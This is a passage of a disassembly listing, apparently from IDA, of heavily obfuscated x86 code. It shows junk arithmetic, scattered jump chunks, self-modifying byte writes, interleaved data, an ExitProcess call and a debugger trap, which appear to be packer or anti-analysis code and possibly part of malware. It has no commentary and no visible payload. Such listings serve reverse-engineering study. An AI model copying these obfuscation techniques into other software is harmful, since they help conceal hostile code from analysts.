loc_1002897B ; END OF FUNCTION CHUNK FOR sub_1002957A ; --------------------------------------------------------------------------- align 10h loc_100281F0: ; CODE XREF: _3a14gzkz:loc_100286D7j pop ebx sub ebx, 0F70B8694h xor ebx, 0CFE9FE0Fh sub ebx, 0F24F25E4h add ebx, 63F4A0A4h jmp loc_10027C2D ; --------------------------------------------------------------------------- jl locret_10028219 jmp loc_10027AB7 ; --------------------------------------------------------------------------- locret_10028219: ; CODE XREF: _3a14gzkz:1002820Ej ; _3a14gzkz:loc_1002920Fj retn ; --------------------------------------------------------------------------- add ebx, 0AFC0EE35h jmp loc_100286AC ; --------------------------------------------------------------------------- locret_10028225: ; CODE XREF: _3a14gzkz:loc_10027120j retn ; --------------------------------------------------------------------------- align 4 retn ; --------------------------------------------------------------------------- align 2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_191. PRESS KEYPAD "+" TO EXPAND] align 4 loc_1002822C: ; CODE XREF: _3a14gzkz:1002874Aj jmp loc_100293E3 ; --------------------------------------------------------------------------- db 2 dup(0), 87h ; --------------------------------------------------------------------------- sbb al, 24h pop ebx push edi mov edi, ecx xchg edi, [esp] mov ecx, offset dword_100296C4 jmp loc_10028939 ; --------------------------------------------------------------------------- mov edx, offset loc_10027F40 jmp loc_10029573 ; --------------------------------------------------------------------------- align 2 mov edx, offset loc_10028623 jmp loc_100273D8 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100273B0 loc_1002825E: ; CODE XREF: sub_100273B0:loc_10028487j rol ecx, 4 or ecx, 0FA547B6Fh and ecx, 0D91F0EEDh rol ecx, 0Bh jmp loc_100287A0 ; END OF FUNCTION CHUNK FOR sub_100273B0 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028150 loc_10028277: ; CODE XREF: sub_10028150+10j or eax, 0F3F36F3Eh cmp eax, 9EB144F9h jmp near ptr dword_10027090+13h ; END OF FUNCTION CHUNK FOR sub_10028150 ; --------------------------------------------------------------------------- dd 24348700h, 87FD685Eh, 0EBE91002h, 5 ; --------------------------------------------------------------------------- loc_10028298: ; CODE XREF: _3a14gzkz:10026FE3j jz near ptr locret_10027296+1 ; --------------------------------------------------------------------------- dw 0 dd 0B4ED1168h, 9850F6Ah, 3000000h, 0EFDFE9FDh, 0FFFFh dd 1FC1C159h, 3396C981h, 0F1814B96h, 5F555C6Eh, 958EE981h dd 0C1816BD7h, 0DAEFAED0h, 6CEE9h db 0, 0C3h, 0 ; --------------------------------------------------------------------------- loc_100282D7: ; CODE XREF: _3a14gzkz:loc_1002844Aj jmp loc_10028CA2 ; --------------------------------------------------------------------------- db 2 dup(0) word_100282DE dw 8Ah ; DATA XREF: _3a14gzkz:10028CABo dd 0DE8992Ch, 0E9FFFFF5h, 70Dh db 0 ; --------------------------------------------------------------------------- loc_100282ED: ; CODE XREF: _3a14gzkz:100280B0j jz loc_100274F3 jmp loc_100286B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002781D loc_100282F8: ; CODE XREF: sub_1002781D+D5Fj mov byte ptr [edi], 9 pop edi sub eax, 0C22332F8h add eax, 9E7D159Eh jmp loc_100277C3 ; END OF FUNCTION CHUNK FOR sub_1002781D ; --------------------------------------------------------------------------- db 2 dup(0), 57h ; --------------------------------------------------------------------------- push 0C700742Dh xchg edx, [esp] mov edi, edx pop edx rol edi, 0Dh test edi, 40000h jmp loc_10029208 ; --------------------------------------------------------------------------- db 2 dup(0) byte_1002832B db 87h ; DATA XREF: sub_10027586+4o dd 27E8243Ch, 0FFFFF5h ; --------------------------------------------------------------------------- loc_10028334: ; CODE XREF: _3a14gzkz:100271CDj pop eax mov esi, [esi] xchg esi, [esp] call near ptr dword_10027140+1 ; --------------------------------------------------------------------------- db 0 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028AC5 loc_10028341: ; CODE XREF: sub_10028AC5:loc_10027A8Cj mov byte ptr [eax], 0C3h pop eax call nullsub_8 nop call sub_10029851 push offset loc_10029389 jmp loc_1002805C ; END OF FUNCTION CHUNK FOR sub_10028AC5 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_1002835B: ; CODE XREF: _3a14gzkz:10026DBBj push 0B904A2FFh pop esi or esi, 0EFBA9A6Ch rol esi, 15h or esi, 428E692h sub esi, 5240270Ah jmp loc_100277BE ; --------------------------------------------------------------------------- align 4 dd 243C8700h, 1C94685Fh, 0E9586F4Fh, 0FFFFF853h, 0E0BA0000h dd 0E9100292h, 81Bh, 4870000h, 8685824h, 5FD9DEC3h, 617DEF81h dd 6BE9F1E4h db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100279AD loc_100283AF: ; CODE XREF: sub_100279AD:loc_10028DC6j push offset byte_100286C7 jmp nullsub_214 ; END OF FUNCTION CHUNK FOR sub_100279AD ; --------------------------------------------------------------------------- db 2 dup(0), 0C1h dd 0C68103C6h, 0E7293294h, 928DBB53h, 0F9E91002h db 0FAh, 2 dup(0FFh) ; =============== S U B R O U T I N E ======================================= sub_100283CF proc near ; CODE XREF: _3a14gzkz:100278BCj ; sub_1002812C:loc_10029569p xchg esi, [esp+0] pop esi push ecx push 0EE76143Dh jmp near ptr loc_100277AA+1 sub_100283CF endp ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100286F4 loc_100283DF: ; CODE XREF: sub_100286F4+Cj mov eax, esi pop esi sub eax, 5542CA5Eh and eax, 4F3FF65Fh push offset loc_10027614 jmp loc_1002879B ; END OF FUNCTION CHUNK FOR sub_100286F4 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- locret_100283FA: ; CODE XREF: _3a14gzkz:10028098j retn ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_1002957A loc_100283FC: ; CODE XREF: sub_1002957A:loc_1002897Bj mov byte ptr [ebx], 2Ch pop ebx push offset loc_1002894F jmp nullsub_218 ; END OF FUNCTION CHUNK FOR sub_1002957A ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_1002840B: ; CODE XREF: _3a14gzkz:10026F7Aj xor edi, 523EC9C7h jmp near ptr dword_10026DC8+7 ; --------------------------------------------------------------------------- align 4 mov byte ptr [ecx], 87h xchg edx, [esp] mov ecx, edx pop edx call sub_1002918F locret_10028426: ; CODE XREF: _3a14gzkz:10027F19j retn ; --------------------------------------------------------------------------- align 4 db 0 byte_10028429 db 68h, 43h, 41h ; DATA XREF: _3a14gzkz:10027F14o db 90h db 0DBh, 59h, 81h dd 0E0A61BC9h, 4FE9813Eh, 0E9D6F65Fh, 0FFFFEACCh, 24148700h dd 8B243487h ; --------------------------------------------------------------------------- setalc pop esi loc_1002844A: ; CODE XREF: _3a14gzkz:10026F80j jmp loc_100282D7 ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_10028DD4 loc_10028450: ; CODE XREF: sub_10028DD4-148j push 39DD90FFh xchg edi, [esp+0] mov ebx, edi pop edi or ebx, 79AAA32Fh rol ebx, 9 test ebx, 40h jmp loc_100292F8 ; END OF FUNCTION CHUNK FOR sub_10028DD4 ; --------------------------------------------------------------------------- db 99h dd 0FFFDBEE9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_10028477: ; CODE XREF: _3a14gzkz:10029828p xchg edx, [esp] pop edx push 2EBE491Fh call sub_10027AB8 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100273B0 loc_10028487: ; CODE XREF: sub_100273B0+AECj jmp loc_1002825E ; END OF FUNCTION CHUNK FOR sub_100273B0 ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_1002848E proc near ; CODE XREF: sub_100275B2:loc_10028601p ; _3a14gzkz:10028680j xchg eax, [esp+0] loc_10028491: ; CODE XREF: _3a14gzkz:loc_100274F3j pop eax mov byte ptr [ecx], 87h pop ecx xor ebx, 0A43283D4h rol ebx, 0Dh xor ebx, 61066503h jmp near ptr loc_100296EA+1 sub_1002848E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_100284AA proc near ; CODE XREF: _3a14gzkz:10027F23p ; _3a14gzkz:10029666j ; FUNCTION CHUNK AT 10028BAE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10028F30 SIZE 0000000A BYTES xchg esi, [esp+0] xchg edi, [esp+0] mov esi, edi pop edi push edx mov edx, 100273E3h jmp loc_10028BAE sub_100284AA endp ; --------------------------------------------------------------------------- align 10h loc_100284C0: ; CODE XREF: _3a14gzkz:loc_1002896Ej xor edx, 0BCEA0BCFh push ecx mov ecx, (offset locret_10027C10+2) jmp loc_10029378 ; --------------------------------------------------------------------------- db 2 dup(0), 23h dd 0F764E9C6h, 0FFFFh, 6841CF81h db 2 dup(0CFh) ; =============== S U B R O U T I N E ======================================= sub_100284E2 proc near ; CODE XREF: _3a14gzkz:1002816Bp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10027E0F SIZE 00000005 BYTES xchg eax, [esp+0] pop eax xchg eax, [esp-4+arg_0] push edi push offset byte_10029133 jmp loc_10027E0F sub_100284E2 endp ; --------------------------------------------------------------------------- dd 5B241C87h, 4BE95550h db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_100284FF: ; CODE XREF: _3a14gzkz:100271E0j ; DATA XREF: _3a14gzkz:100297B7o enter 50ECh, 0E8h leave push es ; --------------------------------------------------------------------------- db 3 dup(0) db 0 ; --------------------------------------------------------------------------- loc_10028509: ; CODE XREF: _3a14gzkz:10027A92j jle loc_10027054 jg loc_10028612 test ecx, eax jmp loc_10027F7E ; --------------------------------------------------------------------------- dd 0FFF75CE8h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_10028523: ; CODE XREF: _3a14gzkz:100292E9j jmp loc_10027EA8 ; --------------------------------------------------------------------------- dd 0C3680000h, 0E9771FF0h, 0FFFFFAC4h, 0E9D38500h, 0FFFFF723h db 0, 0C3h, 0 ; --------------------------------------------------------------------------- loc_1002853F: ; CODE XREF: _3a14gzkz:10028645j jmp near ptr dword_10027A5C+12h ; --------------------------------------------------------------------------- dd 34870000h, 15FF5E24h, 1001E0C0h, 290C6853h, 0C15B475Ah dd 32E91BC3h, 7, 87D58B00h, 2C872434h, 5DF58B24h, 0DA217D68h dd 0ED85E9D2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002781D loc_10028576: ; CODE XREF: sub_1002781D:loc_100285ABj add edi, 0C150D2AFh jmp loc_100282F8 ; END OF FUNCTION CHUNK FOR sub_1002781D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10027C41 loc_10028581: ; CODE XREF: sub_10027C41-73Ej mov eax, offset loc_1002797A jmp loc_10028678 ; END OF FUNCTION CHUNK FOR sub_10027C41 ; --------------------------------------------------------------------------- align 4 locret_1002858C: ; CODE XREF: _3a14gzkz:loc_100293AEj retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_1002858F: ; DATA XREF: _3a14gzkz:loc_100273D8o mov byte ptr [edx], 87h xchg edi, [esp] mov edx, edi pop edi push ecx jmp loc_10029066 ; --------------------------------------------------------------------------- dw 0C300h db 2 dup(0) ; --------------------------------------------------------------------------- locret_100285A2: ; CODE XREF: _3a14gzkz:10027F39j retn ; --------------------------------------------------------------------------- align 4 dd 0C7BE900h db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002781D loc_100285AB: ; CODE XREF: sub_1002781D+5C9j jmp loc_10028576 ; END OF FUNCTION CHUNK FOR sub_1002781D ; --------------------------------------------------------------------------- dd 15E90000h, 8, 0AB5E900h, 1E680000h, 871326F3h, 9CBE9CFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_100285CA: ; CODE XREF: _3a14gzkz:10026DA9j push 9860DD84h pop edx and edx, 1C2C2EB1h xor edx, 0E9D2F878h jmp loc_10029039 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028EFA loc_100285E1: ; CODE XREF: sub_10028EFA:loc_100293FDj or edx, edx jz loc_10028089 call sub_1002781D loc_100285EE: ; CODE XREF: _3a14gzkz:100292B1j jmp nullsub_188 ; END OF FUNCTION CHUNK FOR sub_10028EFA ; --------------------------------------------------------------------------- align 4 jmp loc_10027437 ; --------------------------------------------------------------------------- align 2 dw 22E9h dd 0FFFFF8h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100275B2 loc_10028601: ; CODE XREF: sub_100275B2+1A92j call sub_1002848E ; END OF FUNCTION CHUNK FOR sub_100275B2 ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002812C loc_10028608: ; CODE XREF: sub_1002812C:loc_10028126j push 100272EDh loc_1002860D: ; CODE XREF: _3a14gzkz:loc_100290EFj jmp nullsub_224 ; END OF FUNCTION CHUNK FOR sub_1002812C ; --------------------------------------------------------------------------- loc_10028612: ; CODE XREF: _3a14gzkz:1002850Fj ; DATA XREF: _3a14gzkz:10027ED5o call near ptr 11E3462Ch adc [eax-12h], ch lea eax, [edx] ; --------------------------------------------------------------------------- db 10h ; --------------------------------------------------------------------------- loc_1002861D: ; CODE XREF: _3a14gzkz:10027F90j jmp locret_10027527 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028A10 loc_10028622: ; CODE XREF: sub_10028A10:loc_10027519j pop ecx loc_10028623: ; DATA XREF: _3a14gzkz:10028252o dec esp add al, 24h jmp loc_10027C15 ; END OF FUNCTION CHUNK FOR sub_10028A10 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002883B loc_1002862B: ; CODE XREF: sub_1002883B+4j jno loc_10028F8F call sub_10028EFA ; END OF FUNCTION CHUNK FOR sub_1002883B ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- loc_10028638: ; CODE XREF: _3a14gzkz:loc_10028939j mov byte ptr [ecx], 0C3h pop ecx rol ecx, 0Ah add ecx, 0A6123F80h jmp loc_1002853F ; --------------------------------------------------------------------------- align 4 xor esi, 0C311F580h sub ebp, 94E0B73Dh jmp loc_10026F4C ; --------------------------------------------------------------------------- align 2 locret_1002865E: ; CODE XREF: _3a14gzkz:10028CFAj retn ; --------------------------------------------------------------------------- align 10h loc_10028660: ; CODE XREF: _3a14gzkz:10027899j jmp locret_1002932D ; --------------------------------------------------------------------------- byte_10028665 db 0C6h, 0, 0FFh ; DATA XREF: _3a14gzkz:loc_10028CF5o dd 8B240C87h, 0C0C159C1h, 99CE811h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10027C41 loc_10028678: ; CODE XREF: sub_10027C41+945j jmp loc_10027975 ; END OF FUNCTION CHUNK FOR sub_10027C41 ; --------------------------------------------------------------------------- align 2 mov eax, ebx jmp sub_1002848E ; --------------------------------------------------------------------------- db 1Bh, 0EFh, 0E8h dd 278h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002812C loc_1002868E: ; CODE XREF: sub_1002812C+655j jmp loc_10029756 ; END OF FUNCTION CHUNK FOR sub_1002812C ; --------------------------------------------------------------------------- align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_227. PRESS KEYPAD "+" TO EXPAND] db 68h, 18h, 84h dd 52E91002h, 0FFFFEBh, 0E90AEAC1h, 0FFFFEA99h db 2 dup(0) ; --------------------------------------------------------------------------- locret_100286AA: ; CODE XREF: _3a14gzkz:10028045j retn ; --------------------------------------------------------------------------- align 4 loc_100286AC: ; CODE XREF: _3a14gzkz:10028220j push offset dword_10028FB8 jmp locret_10028FB6 ; --------------------------------------------------------------------------- db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_225. PRESS KEYPAD "+" TO EXPAND] db 0 ; --------------------------------------------------------------------------- loc_100286B9: ; CODE XREF: _3a14gzkz:100282F3j rol ebx, 0Ch jg loc_1002801B jmp loc_10028AF5 ; --------------------------------------------------------------------------- byte_100286C7 db 87h ; DATA XREF: sub_100279AD:loc_100283AFo dd 94E9243Ch, 13FFFFF8h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002781D loc_100286D2: ; CODE XREF: sub_1002781D-99Cj jmp loc_10026F8C ; END OF FUNCTION CHUNK FOR sub_1002781D ; --------------------------------------------------------------------------- loc_100286D7: ; CODE XREF: _3a14gzkz:10026C95j jmp loc_100281F0 ; --------------------------------------------------------------------------- dd 58D0000h, 100273EDh, 0FFEE19E8h, 6D8568FFh, 0D2E91002h dd 0Dh ; =============== S U B R O U T I N E ======================================= sub_100286F4 proc near ; CODE XREF: _3a14gzkz:100278A1j ; sub_10028C3C+6p ; FUNCTION CHUNK AT 100283DF SIZE 00000019 BYTES ; FUNCTION CHUNK AT 1002879B SIZE 00000005 BYTES xchg esi, [esp+0] pop esi push 75B755AEh xchg esi, [esp+0] jmp loc_100283DF sub_100286F4 endp ; --------------------------------------------------------------------------- db 2 dup(0) byte_10028707 db 0Fh ; DATA XREF: _3a14gzkz:loc_10027206o ; sub_100273B0+ADFo ... dd 41882h, 0AE880F00h, 51FFFFF8h, 0C87CF8Bh, 70F2BF24h dd 0F2E91002h db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_10028723: ; CODE XREF: _3a14gzkz:loc_10028E8Dj add ecx, 0CCA470C5h xchg ecx, [esp] jmp loc_10028C47 ; --------------------------------------------------------------------------- db 2 dup(0), 8Dh ; --------------------------------------------------------------------------- add eax, 10027127h loc_10028739: ; DATA XREF: _3a14gzkz:10027C73o das add bl, al call locret_10027D57 push 4077C468h pop eax rol eax, 7 jmp loc_1002822C ; --------------------------------------------------------------------------- align 10h dd 0AC820F00h, 9CFFFFF9h, 5ADAEE81h, 0DD810859h, 9852670Ah dd 422EDD81h, 0FCE97506h, 0Bh, 0E54C8A0Fh, 0E4E9FFFFh dd 0FFFFEBh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002812C loc_1002877C: ; CODE XREF: sub_1002812C+1106j mov eax, offset loc_1002754A jmp loc_1002868E ; END OF FUNCTION CHUNK FOR sub_1002812C ; --------------------------------------------------------------------------- db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_189. PRESS KEYPAD "+" TO EXPAND] db 0 ; --------------------------------------------------------------------------- loc_10028789: ; DATA XREF: sub_10028AC5+Eo push edi push edx pop edi push offset dword_10028F10 jmp loc_10029811 ; --------------------------------------------------------------------------- align 4 locret_10028798: ; CODE XREF: _3a14gzkz:10027359j retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100286F4 loc_1002879B: ; CODE XREF: sub_100286F4-301j jmp nullsub_217 ; END OF FUNCTION CHUNK FOR sub_100286F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100273B0 loc_100287A0: ; CODE XREF: sub_100273B0+EC0j jmp loc_10027A3B ; END OF FUNCTION CHUNK FOR sub_100273B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10027AB8 loc_100287A5: ; CODE XREF: sub_10027AB8+Aj add edi, 59380E99h xor edi, 0D557A2CCh sub edi, 3727F61Ch xor edi, 0E48600A7h xchg edi, [esp+0] call ds:dword_1001E0C0 ; ExitProcess jmp loc_1002790A ; END OF FUNCTION CHUNK FOR sub_10027AB8 ; --------------------------------------------------------------------------- align 4 dd 0F06CE900h, 0FFFFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002812C loc_100287D4: ; CODE XREF: sub_1002812C:loc_10028A5Aj ; sub_1002812C+10FFj lodsb jmp loc_10028934 ; END OF FUNCTION CHUNK FOR sub_1002812C ; --------------------------------------------------------------------------- dw 0E823h dd 0E75C850Fh, 4587FFFFh, 0FE9BE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_100287EA: ; DATA XREF: _3a14gzkz:1002712Do push 100275C3h jmp loc_10028DBF ; --------------------------------------------------------------------------- dd 0E0E9C300h, 0FFFFE8h, 0EBE36800h, 81583BD0h, 653FCFE8h dd 1B880FA4h, 99FFFFE8h, 0F774850Fh, 0AE9FFFFh, 0FFFFE8h dd 0DE136800h, 815FAB8Fh, 41EC29F7h, 0E7817Bh, 5641D32Eh dd 27D08BEh, 0E4D3E910h db 2 dup(0FFh), 0 ; =============== S U B R O U T I N E ======================================= sub_1002883B proc near ; CODE XREF: _3a14gzkz:100277EEj ; sub_10028DD4:loc_100278EAp ; FUNCTION CHUNK AT 10027595 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1002862B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10028F8F SIZE 00000025 BYTES ; FUNCTION CHUNK AT 1002935B SIZE 00000007 BYTES xchg edx, [esp+0] pop edx jnz loc_1002862B jno loc_10028F8F jmp loc_10027595 sub_1002883B endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 0C6810000h, 1245EA99h, 0F8E5E957h, 0FFFFh ; --------------------------------------------------------------------------- loc_10028860: ; CODE XREF: _3a14gzkz:100277CEj sub ebp, 0DD5AD5E6h cmp eax, edi jmp loc_1002972E ; --------------------------------------------------------------------------- db 2 dup(0), 81h dd 2A78CBF0h, 4DE921h, 0 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028E0A loc_1002887D: ; CODE XREF: sub_10028E0A+306j jmp nullsub_182 ; END OF FUNCTION CHUNK FOR sub_10028E0A ; --------------------------------------------------------------------------- dw 6EE9h dd 0FFFFFFh db 0 ; --------------------------------------------------------------------------- loc_10028889: ; CODE XREF: _3a14gzkz:loc_10027ECEj mov byte ptr [ecx], 0FFh xchg edx, [esp] mov ecx, edx pop edx jmp loc_100271A8 ; --------------------------------------------------------------------------- align 4 dd 0AEF08100h, 0E9F798AAh, 0FFFFFAD9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_100288A6: ; CODE XREF: _3a14gzkz:loc_1002713Aj jnz loc_10027285 add [ebx], ah lock jmp loc_10027283 ; --------------------------------------------------------------------------- dd 39830F00h, 0F00000Dh, 0FFF52585h, 0EA61E9FFh db 2 dup(0FFh), 0 ; =============== S U B R O U T I N E ======================================= sub_100288C7 proc near ; CODE XREF: _3a14gzkz:100277DAp arg_0 = dword ptr 4 xchg ecx, [esp+0] pop ecx add edi, 19EAB319h xchg edi, [esp-4+arg_0] jmp near ptr byte_10028F8E sub_100288C7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(0), 81h ; --------------------------------------------------------------------------- enter 2E0Bh, 55h retn ; --------------------------------------------------------------------------- and eax, 7EC56EE7h push ecx mov ecx, edi xchg ecx, [esp] mov edi, 100286CFh jmp loc_10026E98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028DD4 loc_100288F7: ; CODE XREF: sub_10028DD4:loc_100292F8j ; sub_10028DD4+53Cj push ecx mov ecx, offset loc_10028CAA jmp loc_10027E41 ; END OF FUNCTION CHUNK FOR sub_10028DD4 ; --------------------------------------------------------------------------- align 4 xchg edi, [esp] pop edi add edx, 83C10117h xor edx, [esp] jmp locret_10027D57 ; --------------------------------------------------------------------------- dw 0E800h dd 0FFFFE9EAh, 8E0F0000h, 0FFFFE87Ah, 5A241487h, 0B142C281h dd 0ABE85987h, 0FFFFF6h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002812C loc_10028934: ; CODE XREF: sub_1002812C+6A9j jmp loc_10029569 ; END OF FUNCTION CHUNK FOR sub_1002812C ; --------------------------------------------------------------------------- loc_10028939: ; CODE XREF: _3a14gzkz:10028242j jmp loc_10028638 ; --------------------------------------------------------------------------- align 10h ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_218. PRESS KEYPAD "+" TO EXPAND] align 2 ; START OF FUNCTION CHUNK FOR sub_1002918F loc_10028942: ; CODE XREF: sub_1002918F+Ej jmp near ptr dword_10027D2C+1Fh ; END OF FUNCTION CHUNK FOR sub_1002918F ; --------------------------------------------------------------------------- align 4 loc_10028948: ; CODE XREF: _3a14gzkz:10029025j jmp loc_100289DF ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_1002894F: ; DATA XREF: sub_1002957A-117Ao pushf push 0DE8AACC2h pop eax jmp loc_1002942B ; --------------------------------------------------------------------------- loc_1002895B: ; CODE XREF: _3a14gzkz:10029492j xor edx, 0AA9554D8h cmp edx, 0C98E4C88h jmp loc_100294B0 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_1002896E: ; CODE XREF: _3a14gzkz:10027758j jge loc_100284C0 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_10028975: ; CODE XREF: _3a14gzkz:10028B3Dj jmp locret_10028067 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002957A loc_1002897B: ; CODE XREF: sub_1002957A-1390j jmp loc_100283FC ; END OF FUNCTION CHUNK FOR sub_1002957A ; --------------------------------------------------------------------------- dd 0F9D0000h, 9418Ah, 0FB32E900h db 2 dup(0FFh) word_1002898E dw 0C181h ; DATA XREF: _3a14gzkz:loc_10027354o dd 7C00AF97h, 5AE8D903h, 0D1FFFFF0h, 0EC8EE9C6h, 0E800FFFFh dd 0FFFFE427h, 0E4FE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_100289AE: ; CODE XREF: _3a14gzkz:100272C7j pop ebx call sub_1002957A ; START OF FUNCTION CHUNK FOR sub_100276FC loc_100289B4: ; CODE XREF: sub_100276FC+8j jmp nullsub_230 ; END OF FUNCTION CHUNK FOR sub_100276FC ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002812C loc_100289BB: ; CODE XREF: sub_1002812C:loc_1002956Ej mov byte ptr [edx], 0Fh xchg ecx, [esp+8+var_8] mov edx, ecx pop ecx push 625EB3A5h jmp loc_100297AC ; END OF FUNCTION CHUNK FOR sub_1002812C ; --------------------------------------------------------------------------- align 10h mov eax, [ebp+0] and ebp, 1FB05ADBh jmp sub_10028EB5 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_100289DF: ; CODE XREF: _3a14gzkz:loc_10028948j call loc_10029055 add cl, ch int 3 ; Trap to Debugger idiv bh inc dword ptr [eax] ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_100289EC: ; CODE XREF: _3a14gzkz:100280C7j jmp near ptr dword_10027014+1 ; --------------------------------------------------------------------------- db 2 dup(0) byte_100289F3 db 0E8h ; DATA XREF: _3a14gzkz:100276E4o dd 0FFFFED9Dh db 0, 0C3h, 0 ; --------------------------------------------------------------------------- locret_100289FB: ; CODE XREF: _3a14gzkz:loc_100293D6j retn ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_100289FE proc near ; CODE XREF: _3a14gzkz:1002753Ej ; FUNCTION CHUNK AT 10027054 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 100281AC SIZE 00000020 BYTES ; FUNCTION CHUNK AT 10028D31 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx add ecx, ebp push ebx push 480BCC67h jmp loc_100281AC sub_100289FE endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_10028A10 proc near ; CODE XREF: _3a14gzkz:10026F86j ; _3a14gzkz:10027CA0p ; FUNCTION CHUNK AT 10027519 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10028622 SIZE 00000009 BYTES xchg esi, [esp+0] pop esi add ecx, 0FD3CF3C4h add eax, ecx jmp loc_10027519 sub_10028A10 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 2 dw 0FD0Bh dd 66E9FA87h, 0FFFFE6h, 0C2239900h, 0FFF854E9h, 60820FFFh db 3, 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_10028A3B proc near ; CODE XREF: _3a14gzkz:10027839p ; FUNCTION CHUNK AT 1002770A SIZE 0000000E BYTES xchg esi, [esp+0] pop esi mov [ebx], eax pop ebx jmp loc_1002770A sub_10028A3B endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_10028A49: ; CODE XREF: _3a14gzkz:loc_1002760Dj xchg edx, [esp] mov ecx, edx xchg eax, [esp] mov edx, eax pop eax jmp near ptr dword_10026F24+0Bh ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_1002812C loc_10028A5A: ; CODE XREF: _3a14gzkz:10027B17j ; sub_1002812C:loc_10029225j jb loc_100287D4 jmp loc_10028126 ; END OF FUNCTION CHUNK FOR sub_1002812C ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= sub_10028A66 proc near ; CODE XREF: sub_1002883B+B22p arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 10027347 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10028B93 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10029151 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi pop eax 